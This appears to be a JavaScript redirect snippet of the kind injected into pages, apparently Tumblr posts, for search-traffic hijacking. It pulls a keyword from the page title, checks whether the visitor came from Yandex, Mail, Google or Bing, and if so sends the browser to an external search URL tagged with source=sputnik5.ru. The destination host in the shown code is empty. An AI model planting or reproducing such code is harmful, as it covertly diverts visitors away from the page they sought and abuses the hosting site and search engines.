var keyword = document.title; var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)/i); if (keyword.indexOf("Tumblr.Com")>0) { keyword = keyword.split("Tumblr.Com")[1].replace("— ","").replace("...",""); } else { keyword = keyword.split("-")[0]; keyword = keyword.split("::")[0]; keyword = keyword.replace("без названия",""); keyword = keyword.replace("Без названия — ",""); keyword = keyword.replace("Untitled — ",""); } if (isps) {window.location.href = "https:///?q="+encodeURIComponent(keyword)+"&source=sputnik5.ru";}